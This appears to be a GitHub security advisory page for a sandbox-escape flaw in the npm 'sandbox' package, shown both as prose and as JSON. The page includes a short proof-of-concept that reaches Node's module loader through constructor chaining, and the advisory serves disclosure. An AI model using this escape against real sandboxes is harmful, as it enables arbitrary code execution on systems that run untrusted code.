ghsa-fm4j-4xhm-xpwx
Vulnerability from github
Published
2020-09-02 15:51
Modified
2020-08-31 18:34
VLAI Severity ?
Summary
Sandbox Breakout / Arbitrary Code Execution in sandbox
Details
All versions of sandbox are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.
Proof of concept
var Sandbox = require("sandbox")
s = new Sandbox()
code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")`
s.run(code)
Recommendation
No fix is currently available. Consider using an alternative module until a fix is made available.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "sandbox"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [],
"github_reviewed": true,
"github_reviewed_at": "2020-08-31T18:34:58Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "All versions of `sandbox` are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.\n\n## Proof of concept\n```\nvar Sandbox = require(\"sandbox\")\ns = new Sandbox()\ncode = `new Function(\"return (this.constructor.constructor(\u0027return (this.process.mainModule.constructor._load)\u0027)())\")()(\"util\").inspect(\"hi\")`\ns.run(code)\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.",
"id": "GHSA-fm4j-4xhm-xpwx",
"modified": "2020-08-31T18:34:58Z",
"published": "2020-09-02T15:51:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gf3/sandbox/issues/50"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/766"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Sandbox Breakout / Arbitrary Code Execution in sandbox"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.
Loading…
Loading…